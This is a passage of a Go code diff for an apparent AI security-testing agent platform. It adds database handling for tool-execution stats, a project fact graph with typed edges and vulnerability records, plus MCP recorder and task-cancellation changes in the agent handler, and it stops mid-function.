+		Arguments: map[string]interface{}{},
+		Status:    "completed",
+		StartTime: time.Now().AddDate(-1, 0, 0),
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	deleted, err := db.PurgeToolExecutionsBefore(time.Now())
+	if err != nil {
+		t.Fatalf("PurgeToolExecutionsBefore: %v", err)
+	}
+	if deleted != 1 {
+		t.Fatalf("deleted = %d, want 1", deleted)
+	}
+}

internal/database/monitor_summary_test.go

@@ -0,0 +1,86 @@
+package database
+
+import (
+	"fmt"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestLoadToolStatsSummaryAndListPage(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor-summary.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	now := time.Now()
+	tools := []struct {
+		name   string
+		calls  int
+		ok     int
+		fail   int
+		result string
+	}{
+		{"alpha::run", 10, 9, 1, `{"content":[{"type":"text","text":"` + string(make([]byte, 64*1024)) + `"}]}`},
+		{"beta::scan", 5, 5, 0, `{"content":[{"type":"text","text":"ok"}]}`},
+		{"gamma::ping", 1, 1, 0, `{"content":[{"type":"text","text":"pong"}]}`},
+	}
+
+	for _, tool := range tools {
+		if err := db.UpdateToolStats(tool.name, tool.calls, tool.ok, tool.fail, &now); err != nil {
+			t.Fatalf("UpdateToolStats(%s): %v", tool.name, err)
+		}
+		for j := 0; j < tool.calls; j++ {
+			exec := &mcp.ToolExecution{
+				ID:        fmt.Sprintf("%s-exec-%d", tool.name, j),
+				ToolName:  tool.name,
+				Arguments: map[string]interface{}{"n": j},
+				Status:    "completed",
+				StartTime: now.Add(-time.Duration(j) * time.Minute),
+				Result:    &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: tool.result}}},
+			}
+			end := exec.StartTime.Add(time.Second)
+			exec.EndTime = &end
+			exec.Duration = time.Second
+			if err := db.SaveToolExecution(exec); err != nil {
+				t.Fatalf("SaveToolExecution: %v", err)
+			}
+		}
+	}
+
+	summary, err := db.LoadToolStatsSummary(2)
+	if err != nil {
+		t.Fatalf("LoadToolStatsSummary: %v", err)
+	}
+	if summary.Summary.ToolCount != 3 {
+		t.Fatalf("toolCount = %d, want 3", summary.Summary.ToolCount)
+	}
+	if summary.Summary.TotalCalls != 16 {
+		t.Fatalf("totalCalls = %d, want 16", summary.Summary.TotalCalls)
+	}
+	if len(summary.TopTools) != 2 {
+		t.Fatalf("top tools = %d, want 2", len(summary.TopTools))
+	}
+	if summary.TopTools[0].ToolName != "alpha::run" {
+		t.Fatalf("top tool = %q, want alpha::run", summary.TopTools[0].ToolName)
+	}
+
+	list, err := db.LoadToolExecutionListPage(0, 5, "", "")
+	if err != nil {
+		t.Fatalf("LoadToolExecutionListPage: %v", err)
+	}
+	if len(list) != 5 {
+		t.Fatalf("list len = %d, want 5", len(list))
+	}
+	for _, exec := range list {
+		if exec.Arguments != nil || exec.Result != nil || exec.Error != "" {
+			t.Fatalf("expected lite execution row, got args/result/error on %s", exec.ID)
+		}
+	}
+}

internal/database/project.go

@@ -195,6 +195,7 @@ func (db *DB) DeleteProject(id string) error {
 	if err != nil {
 		return fmt.Errorf("删除项目失败: %w", err)
 	}
+	db.removeProjectScopedDirs(id)
 	return nil
 }
 
@@ -389,7 +390,7 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 	return f, nil
 }
 
-// DeprecateProjectFact 将事实标记为 deprecated。
+// DeprecateProjectFact 将事实标记为 deprecated（关联边同步 deprecated）。
 func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
 	res, err := db.Exec(
 		`UPDATE project_facts SET confidence = 'deprecated', updated_at = ? WHERE project_id = ? AND fact_key = ?`,
@@ -402,7 +403,7 @@ func (db *DB) DeprecateProjectFact(projectID, factKey string) error {
 	if n == 0 {
 		return fmt.Errorf("事实不存在")
 	}
-	return nil
+	return db.DeprecateProjectFactEdgesForKey(projectID, factKey)
 }
 
 // RestoreProjectFact 将已废弃事实恢复为 tentative 或 confirmed（重新参与黑板索引）。
@@ -430,9 +431,16 @@ func (db *DB) RestoreProjectFact(projectID, factKey, confidence string) error {
 	return err
 }
 
-// DeleteProjectFact 删除事实。
+// DeleteProjectFact 删除事实（级联删除相关边）。
 func (db *DB) DeleteProjectFact(id string) error {
-	_, err := db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
+	f, err := db.GetProjectFact(id)
+	if err != nil {
+		return err
+	}
+	if err := db.DeleteProjectFactEdgesForKey(f.ProjectID, f.FactKey); err != nil {
+		return err
+	}
+	_, err = db.Exec(`DELETE FROM project_facts WHERE id = ?`, id)
 	return err
 }
 

internal/database/project_fact_edges.go

@@ -0,0 +1,410 @@
+package database
+
+import (
+	"database/sql"
+	"fmt"
+	"strings"
+	"time"
+
+	"github.com/google/uuid"
+)
+
+// ValidProjectFactEdgeTypes 项目事实图允许的边类型。
+var ValidProjectFactEdgeTypes = map[string]struct{}{
+	"depends_on":    {},
+	"leads_to":      {},
+	"enables":       {},
+	"exploits":      {},
+	"discovered_on": {},
+	"contains":      {},
+	"part_of":       {},
+	"supports":      {},
+}
+
+// ProjectFactEdge 项目事实关系边（source → target）。
+type ProjectFactEdge struct {
+	ID                   string    `json:"id"`
+	ProjectID            string    `json:"project_id"`
+	SourceFactKey        string    `json:"source_fact_key"`
+	TargetFactKey        string    `json:"target_fact_key"`
+	EdgeType             string    `json:"edge_type"`
+	Confidence           string    `json:"confidence"` // confirmed | tentative | deprecated
+	SourceConversationID string    `json:"source_conversation_id,omitempty"`
+	CreatedAt            time.Time `json:"created_at"`
+	UpdatedAt            time.Time `json:"updated_at"`
+}
+
+// ProjectFactEdgeInput 写入边时的输入（出边：source → To）。
+type ProjectFactEdgeInput struct {
+	To         string `json:"to"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence,omitempty"`
+}
+
+// ProjectFactEdgeFromInput 写入入边时的输入（From → 当前事实）。
+type ProjectFactEdgeFromInput struct {
+	From       string `json:"from"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence,omitempty"`
+}
+
+// ProjectFactGraphNode 图 API 节点。
+type ProjectFactGraphNode struct {
+	ID         string `json:"id"`
+	FactKey    string `json:"fact_key"`
+	Category   string `json:"category"`
+	Label      string `json:"label"`   // 图节点短标签（截断）
+	Summary    string `json:"summary"` // 完整摘要（侧栏等详情用）
+	Confidence string `json:"confidence"`
+	Type       string `json:"type"`
+	Pinned     bool   `json:"pinned"`
+}
+
+// ProjectFactGraphEdge 图 API 边。
+type ProjectFactGraphEdge struct {
+	ID         string `json:"id"`
+	Source     string `json:"source"`
+	Target     string `json:"target"`
+	Type       string `json:"type"`
+	Confidence string `json:"confidence"`
+}
+
+// ProjectFactGraph 项目事实图。
+type ProjectFactGraph struct {
+	Nodes []ProjectFactGraphNode `json:"nodes"`
+	Edges []ProjectFactGraphEdge `json:"edges"`
+}
+
+// ValidateProjectFactEdgeType 校验边类型。
+func ValidateProjectFactEdgeType(edgeType string) error {
+	edgeType = strings.TrimSpace(strings.ToLower(edgeType))
+	if edgeType == "" {
+		return fmt.Errorf("edge type 不能为空")
+	}
+	if _, ok := ValidProjectFactEdgeTypes[edgeType]; !ok {
+		return fmt.Errorf("无效的 edge type: %s", edgeType)
+	}
+	return nil
+}
+
+func normalizeEdgeConfidence(confidence string) string {
+	confidence = strings.TrimSpace(strings.ToLower(confidence))
+	switch confidence {
+	case "confirmed", "deprecated":
+		return confidence
+	default:
+		return "tentative"
+	}
+}
+
+// ListProjectFactEdgesByProject 列出项目全部边。
+func (db *DB) ListProjectFactEdgesByProject(projectID string) ([]*ProjectFactEdge, error) {
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ?
+		  ORDER BY created_at ASC, rowid ASC`,
+		projectID,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	return scanProjectFactEdges(rows)
+}
+
+// ListOutgoingProjectFactEdges 列出某事实的全部出边。
+func (db *DB) ListOutgoingProjectFactEdges(projectID, sourceFactKey string) ([]*ProjectFactEdge, error) {
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ? AND source_fact_key = ?
+		  ORDER BY created_at ASC, rowid ASC`,
+		projectID, sourceFactKey,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	return scanProjectFactEdges(rows)
+}
+
+// ListIncomingProjectFactEdges 列出某事实的全部入边。
+func (db *DB) ListIncomingProjectFactEdges(projectID, targetFactKey string) ([]*ProjectFactEdge, error) {
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ? AND target_fact_key = ?
+		  ORDER BY created_at ASC, rowid ASC`,
+		projectID, targetFactKey,
+	)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	return scanProjectFactEdges(rows)
+}
+
+// ReplaceOutgoingProjectFactEdges 替换某事实的全部出边（links 省略时不调用）。
+func (db *DB) ReplaceOutgoingProjectFactEdges(projectID, sourceFactKey, sourceConversationID string, inputs []ProjectFactEdgeInput) error {
+	sourceFactKey = strings.TrimSpace(sourceFactKey)
+	if sourceFactKey == "" {
+		return fmt.Errorf("source_fact_key 不能为空")
+	}
+	if _, err := db.Exec(
+		`DELETE FROM project_fact_edges WHERE project_id = ? AND source_fact_key = ?`,
+		projectID, sourceFactKey,
+	); err != nil {
+		return fmt.Errorf("清除旧边失败: %w", err)
+	}
+	for _, in := range inputs {
+		target := strings.TrimSpace(in.To)
+		if target == "" {
+			continue
+		}
+		if err := ValidateFactKey(target); err != nil {
+			return fmt.Errorf("target fact_key 无效 (%s): %w", target, err)
+		}
+		if target == sourceFactKey {
+			return fmt.Errorf("边不能指向自身: %s", sourceFactKey)
+		}
+		if err := ValidateProjectFactEdgeType(in.Type); err != nil {
+			return err
+		}
+		edge := &ProjectFactEdge{
+			ID:                   uuid.New().String(),
+			ProjectID:            projectID,
+			SourceFactKey:        sourceFactKey,
+			TargetFactKey:        target,
+			EdgeType:             strings.ToLower(strings.TrimSpace(in.Type)),
+			Confidence:           normalizeEdgeConfidence(in.Confidence),
+			SourceConversationID: sourceConversationID,
+			CreatedAt:            time.Now(),
+			UpdatedAt:            time.Now(),
+		}
+		if err := db.insertProjectFactEdge(edge); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+// ReplaceIncomingProjectFactEdges 替换某事实的全部入边（From 为来源 fact_key）。
+func (db *DB) ReplaceIncomingProjectFactEdges(projectID, targetFactKey string, inputs []ProjectFactEdgeFromInput) error {
+	targetFactKey = strings.TrimSpace(targetFactKey)
+	if targetFactKey == "" {
+		return fmt.Errorf("target_fact_key 不能为空")
+	}
+	if _, err := db.Exec(
+		`DELETE FROM project_fact_edges WHERE project_id = ? AND target_fact_key = ?`,
+		projectID, targetFactKey,
+	); err != nil {
+		return fmt.Errorf("清除旧入边失败: %w", err)
+	}
+	for _, in := range inputs {
+		source := strings.TrimSpace(in.From)
+		if source == "" {
+			continue
+		}
+		if err := ValidateFactKey(source); err != nil {
+			return fmt.Errorf("source fact_key 无效 (%s): %w", source, err)
+		}
+		if source == targetFactKey {
+			return fmt.Errorf("边不能指向自身: %s", targetFactKey)
+		}
+		if err := ValidateProjectFactEdgeType(in.Type); err != nil {
+			return err
+		}
+		sourceConversationID := ""
+		if srcFact, err := db.GetProjectFactByKey(projectID, source); err == nil && srcFact != nil {
+			sourceConversationID = srcFact.SourceConversationID
+		}
+		edge := &ProjectFactEdge{
+			ID:                   uuid.New().String(),
+			ProjectID:            projectID,
+			SourceFactKey:        source,
+			TargetFactKey:        targetFactKey,
+			EdgeType:             strings.ToLower(strings.TrimSpace(in.Type)),
+			Confidence:           normalizeEdgeConfidence(in.Confidence),
+			SourceConversationID: sourceConversationID,
+			CreatedAt:            time.Now(),
+			UpdatedAt:            time.Now(),
+		}
+		if err := db.insertProjectFactEdge(edge); err != nil {
+			return err
+		}
+	}
+	return nil
+}
+
+// GetProjectFactEdge 按 ID 获取边。
+func (db *DB) GetProjectFactEdge(edgeID string) (*ProjectFactEdge, error) {
+	var e ProjectFactEdge
+	var createdAt, updatedAt string
+	err := db.QueryRow(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges WHERE id = ?`, edgeID,
+	).Scan(&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
+		&e.SourceConversationID, &createdAt, &updatedAt)
+	if err != nil {
+		return nil, fmt.Errorf("边不存在")
+	}
+	e.CreatedAt = parseDBTime(createdAt)
+	e.UpdatedAt = parseDBTime(updatedAt)
+	return &e, nil
+}
+
+// AddProjectFactEdge 新增单条边（已存在则更新 confidence）。
+func (db *DB) AddProjectFactEdge(projectID string, in ProjectFactEdgeInput, sourceFactKey, sourceConversationID string) (*ProjectFactEdge, error) {
+	sourceFactKey = strings.TrimSpace(sourceFactKey)
+	target := strings.TrimSpace(in.To)
+	if sourceFactKey == "" || target == "" {
+		return nil, fmt.Errorf("source 与 target 必填")
+	}
+	if sourceFactKey == target {
+		return nil, fmt.Errorf("边不能指向自身")
+	}
+	if err := ValidateProjectFactEdgeType(in.Type); err != nil {
+		return nil, err
+	}
+	if err := ValidateFactKey(target); err != nil {
+		return nil, err
+	}
+	now := time.Now()
+	e := &ProjectFactEdge{
+		ID:                   uuid.New().String(),
+		ProjectID:            projectID,
+		SourceFactKey:        sourceFactKey,
+		TargetFactKey:        target,
+		EdgeType:             strings.ToLower(strings.TrimSpace(in.Type)),
+		Confidence:           normalizeEdgeConfidence(in.Confidence),
+		SourceConversationID: sourceConversationID,
+		CreatedAt:            now,
+		UpdatedAt:            now,
+	}
+	_, err := db.Exec(
+		`INSERT INTO project_fact_edges (
+			id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+			source_conversation_id, created_at, updated_at
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
+		ON CONFLICT(project_id, source_fact_key, target_fact_key, edge_type)
+		DO UPDATE SET confidence = excluded.confidence, updated_at = excluded.updated_at`,
+		e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
+		nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("添加边失败: %w", err)
+	}
+	// 返回最新
+	rows, err := db.Query(
+		`SELECT id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+		        COALESCE(source_conversation_id,''), created_at, updated_at
+		   FROM project_fact_edges
+		  WHERE project_id = ? AND source_fact_key = ? AND target_fact_key = ? AND edge_type = ?`,
+		projectID, sourceFactKey, target, e.EdgeType,
+	)
+	if err != nil {
+		return e, nil
+	}
+	defer rows.Close()
+	list, err := scanProjectFactEdges(rows)
+	if err != nil || len(list) == 0 {
+		return e, nil
+	}
+	return list[0], nil
+}
+
+// DeleteProjectFactEdge 删除单条边。
+func (db *DB) DeleteProjectFactEdge(edgeID string) error {
+	res, err := db.Exec(`DELETE FROM project_fact_edges WHERE id = ?`, edgeID)
+	if err != nil {
+		return err
+	}
+	n, _ := res.RowsAffected()
+	if n == 0 {
+		return fmt.Errorf("边不存在")
+	}
+	return nil
+}
+
+func (db *DB) insertProjectFactEdge(e *ProjectFactEdge) error {
+	_, err := db.Exec(
+		`INSERT INTO project_fact_edges (
+			id, project_id, source_fact_key, target_fact_key, edge_type, confidence,
+			source_conversation_id, created_at, updated_at
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+		e.ID, e.ProjectID, e.SourceFactKey, e.TargetFactKey, e.EdgeType, e.Confidence,
+		nullIfEmpty(e.SourceConversationID), e.CreatedAt, e.UpdatedAt,
+	)
+	if err != nil {
+		return fmt.Errorf("写入边失败: %w", err)
+	}
+	return nil
+}
+
+// RenameProjectFactKeyEdges 事实 key 变更时同步边上的引用。
+func (db *DB) RenameProjectFactKeyEdges(projectID, oldKey, newKey string) error {
+	oldKey = strings.TrimSpace(oldKey)
+	newKey = strings.TrimSpace(newKey)
+	if oldKey == "" || newKey == "" || oldKey == newKey {
+		return nil
+	}
+	now := time.Now()
+	if _, err := db.Exec(
+		`UPDATE project_fact_edges SET source_fact_key = ?, updated_at = ?
+		  WHERE project_id = ? AND source_fact_key = ?`,
+		newKey, now, projectID, oldKey,
+	); err != nil {
+		return err
+	}
+	_, err := db.Exec(
+		`UPDATE project_fact_edges SET target_fact_key = ?, updated_at = ?
+		  WHERE project_id = ? AND target_fact_key = ?`,
+		newKey, now, projectID, oldKey,
+	)
+	return err
+}
+
+// DeleteProjectFactEdgesForKey 删除与某 fact_key 相关的全部边。
+func (db *DB) DeleteProjectFactEdgesForKey(projectID, factKey string) error {
+	_, err := db.Exec(
+		`DELETE FROM project_fact_edges
+		  WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)`,
+		projectID, factKey, factKey,
+	)
+	return err
+}
+
+// DeprecateProjectFactEdgesForKey 将关联边标记为 deprecated。
+func (db *DB) DeprecateProjectFactEdgesForKey(projectID, factKey string) error {
+	now := time.Now()
+	_, err := db.Exec(
+		`UPDATE project_fact_edges SET confidence = 'deprecated', updated_at = ?
+		  WHERE project_id = ? AND (source_fact_key = ? OR target_fact_key = ?)
+		    AND confidence != 'deprecated'`,
+		now, projectID, factKey, factKey,
+	)
+	return err
+}
+
+func scanProjectFactEdges(rows *sql.Rows) ([]*ProjectFactEdge, error) {
+	var out []*ProjectFactEdge
+	for rows.Next() {
+		var e ProjectFactEdge
+		var createdAt, updatedAt string
+		if err := rows.Scan(
+			&e.ID, &e.ProjectID, &e.SourceFactKey, &e.TargetFactKey, &e.EdgeType, &e.Confidence,
+			&e.SourceConversationID, &createdAt, &updatedAt,
+		); err != nil {
+			return nil, err
+		}
+		e.CreatedAt = parseDBTime(createdAt)
+		e.UpdatedAt = parseDBTime(updatedAt)
+		out = append(out, &e)
+	}
+	return out, rows.Err()
+}

internal/database/sqltime.go

@@ -0,0 +1,33 @@
+package database
+
+import (
+	"errors"
+	"strings"
+	"time"
+)
+
+// formatSQLiteUTC stores instants as UTC RFC3339 for consistent SQLite reads/writes.
+func formatSQLiteUTC(t time.Time) string {
+	return t.UTC().Format(time.RFC3339Nano)
+}
+
+// sqliteEpochGE returns SQL comparing column to param as Unix seconds (timezone-safe).
+func sqliteEpochGE(column, op string) string {
+	return "strftime('%s', " + column + ") " + op + " strftime('%s', ?)"
+}
+
+// ParseRFC3339Time parses API/query timestamps (RFC3339 or RFC3339Nano).
+func ParseRFC3339Time(value string) (time.Time, error) {
+	value = strings.TrimSpace(value)
+	if value == "" {
+		return time.Time{}, errors.New("empty time value")
+	}
+	if t, err := time.Parse(time.RFC3339Nano, value); err == nil {
+		return t.UTC(), nil
+	}
+	t, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		return time.Time{}, err
+	}
+	return t.UTC(), nil
+}

internal/database/vulnerability.go

@@ -98,7 +98,7 @@ type Vulnerability struct {
 	Title           string    `json:"title"`
 	Description     string    `json:"description"`
 	Severity        string    `json:"severity"` // critical, high, medium, low, info
-	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive
+	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive, ignored
 	Type            string    `json:"type"`
 	Target          string    `json:"target"`
 	Proof           string    `json:"proof"`
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 
 	_, err := db.Exec(
 		query,
-		vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
+		vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
 		vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
 		vuln.Proof, vuln.Impact, vuln.Recommendation,
 		vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 	var vuln Vulnerability
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
 		       conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 // ListVulnerabilities 列出漏洞
 func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
 		       vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
 	if err != nil {
 		return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
 	}
-	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
+	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
 	if err != nil {
 		return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
 	}

internal/einomcp/mcp_tools.go

@@ -16,7 +16,8 @@ import (
 )
 
 // ExecutionRecorder 可选，在 MCP 工具成功返回且带有 execution id 时回调（用于汇总 mcpExecutionIds）。
-type ExecutionRecorder func(executionID string)
+// toolCallID 来自 Eino compose.GetToolCallID，用于与 reduction 后的展示结果关联。
+type ExecutionRecorder func(executionID, toolCallID string)
 
 // ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
 // Eino 工具通道目前只支持返回字符串，因此通过前缀标识，随后在多代理 runner 中解析为 success/isError。
@@ -178,7 +179,7 @@ func runMCPToolInvocation(
 		return "", nil
 	}
 	if res.ExecutionID != "" && record != nil {
-		record(res.ExecutionID)
+		record(res.ExecutionID, compose.GetToolCallID(ctx))
 	}
 	if res.IsError {
 		return ToolErrorPrefix + res.Result, nil

internal/einomcp/tool_invoke_notify.go

@@ -2,8 +2,8 @@ package einomcp
 
 import "sync"
 
-// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调；MCP 桥在每次 InvokableRun 结束时 Fire，
-// 用于在 ADK 未透出 schema.Tool 事件时仍推送 tool_result、清 pending，避免 UI 卡在「执行中」或迭代末 force-close。
+// ToolInvokeNotifyHolder 由 Eino run loop 与 MCP/execute 桥共享；Fire 在工具原始返回时触发。
+// UI 的 tool_result 须等 ADK schema.Tool 事件（reduction 后正文），不在此 holder 的回调里推送。
 type ToolInvokeNotifyHolder struct {
 	mu sync.RWMutex
 	fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)

internal/handler/agent.go

@@ -21,7 +21,6 @@ import (
 	"cyberstrike-ai/internal/config"
 	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/reasoning"
-	"cyberstrike-ai/internal/mcp"
 	"cyberstrike-ai/internal/mcp/builtin"
 	"cyberstrike-ai/internal/multiagent"
 	"cyberstrike-ai/internal/openai"
@@ -78,6 +77,13 @@ type responsePlanAgg struct {
 	b    strings.Builder
 }
 
+// thinkingBuf aggregates thinking_stream_* / reasoning_chain_stream_* before flush to process_details.
+type thinkingBuf struct {
+	b         strings.Builder
+	meta      map[string]interface{}
+	persistAs string // "thinking" | "reasoning_chain"
+}
+
 func normalizeProcessDetailText(s string) string {
 	s = strings.ReplaceAll(s, "\r\n", "\n")
 	s = strings.ReplaceAll(s, "\r", "\n")
@@ -178,10 +184,10 @@ type AgentHandler struct {
 	}
 	agentsMarkdownDir string // 多代理：Markdown 子 Agent 目录（绝对路径，空则不从磁盘合并）
 	batchCronParser   cron.Parser
-	batchRunnerMu     sync.Mutex
-	batchRunning      map[string]struct{}
 	// hitlWhitelistSaver 侧栏「应用」HITL 时将会话增量白名单合并写入 config.yaml（可选）
 	hitlWhitelistSaver HitlToolWhitelistSaver
+	hitlStrategySaver  HitlAuditStrategySaver
+	auditLLM           *openai.Client
 	audit              *audit.Service
 }
 
@@ -190,9 +196,41 @@ func (h *AgentHandler) SetAudit(s *audit.Service) {
 	h.audit = s
 }
 
-// HitlToolWhitelistSaver 合并 HITL 免审批工具到全局配置并落盘
+// TaskManager 返回 Agent 任务管理器（供 MCP 监控页终止 Eino execute 等）。
+func (h *AgentHandler) TaskManager() *AgentTaskManager {
+	if h == nil {
+		return nil
+	}
+	return h.tasks
+}
+
+// CancelRunningTaskForConversation stops any in-flight agent work for the conversation (idempotent).
+func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
+	if h == nil || conversationID == "" || h.tasks == nil {
+		return
+	}
+	h.cancelActiveMCPToolForConversation(conversationID)
+	h.tasks.AbortActiveEinoExecute(conversationID, "")
+	if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
+		h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
+	} else if err != nil {
+		h.logger.Warn("取消会话运行中任务失败", zap.String("conversationId", conversationID), zap.Error(err))
+	}
+}
+
+func (h *AgentHandler) cancelActiveMCPToolForConversation(conversationID string) {
+	if h == nil || h.tasks == nil || h.agent == nil {
+		return
+	}
+	if execID := h.tasks.ActiveMCPExecutionID(conversationID); execID != "" {
+		h.agent.CancelMCPToolExecutionWithNote(execID, "")
+	}
+}
+
+// HitlToolWhitelistSaver 合并/设置 HITL 免审批工具到全局配置并落盘
 type HitlToolWhitelistSaver interface {
 	MergeHitlToolWhitelistIntoConfig(add []string) error
+	SetHitlToolWhitelist(tools []string) error
 }
 
 // NewAgentHandler 创建新的Agent处理器
@@ -208,6 +246,11 @@ func NewAgentHandler(agent *agent.Agent, db *database.DB, cfg *config.Config, lo
 	bus := NewTaskEventBus()
 	tm := NewAgentTaskManager()
 	tm.SetTaskEventBus(bus)
+	llmHTTP := &http.Client{Timeout: 2 * time.Minute}
+	var llmCfg *config.OpenAIConfig
+	if cfg != nil {
+		llmCfg = &cfg.OpenAI
+	}
 	handler := &AgentHandler{
 		agent:            agent,
 		db:               db,
@@ -218,8 +261,9 @@ func NewAgentHandler(agent *agent.Agent, db *database.DB, cfg *config.Config, lo
 		config:           cfg,
 		hitlManager:      NewHITLManager(db, logger),
 		batchCronParser:  cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor),
-		batchRunning:     make(map[string]struct{}),
+		auditLLM:         openai.NewClient(llmCfg, llmHTTP, logger),
 	}
+	tm.SetToolCanceler(handler.cancelActiveMCPToolForConversation)
 	if err := handler.hitlManager.EnsureSchema(); err != nil {
 		logger.Warn("初始化 HITL 表失败", zap.Error(err))
 	}
@@ -292,6 +336,7 @@ func chatReasoningToClientIntent(r *ChatReasoningRequest) *reasoning.ClientInten
 type HITLRequest struct {
 	Enabled        bool     `json:"enabled"`
 	Mode           string   `json:"mode,omitempty"`
+	Reviewer       string   `json:"reviewer,omitempty"` // human | audit_agent
 	SensitiveTools []string `json:"sensitiveTools,omitempty"`
 	TimeoutSeconds int      `json:"timeoutSeconds,omitempty"`
 }
@@ -631,27 +676,11 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
 	assistantMessageID string,
 	taskStatus *string,
 ) (string, string, error) {
-	curHist := history
-	curMsg := finalMessage
-	segmentUserMessage := finalMessage
-	var resultMA *multiagent.RunResult
-	var errMA error
-	var transientRunAttempts int
-	for {
-		resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
-			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
-			conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
-		)
-		if errMA == nil {
-			transientRunAttempts = 0
-			break
-		}
-		if handled, _ := h.handleEinoTransientRetryContinue(
-			taskCtx, conversationID, resultMA, errMA, &transientRunAttempts,
-			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
-		); handled {
-			continue
-		}
+	resultMA, errMA := multiagent.RunEinoSingleChatModelAgent(
+		taskCtx, h.config, &h.config.MultiAgent, h.agent, h.db, h.logger,
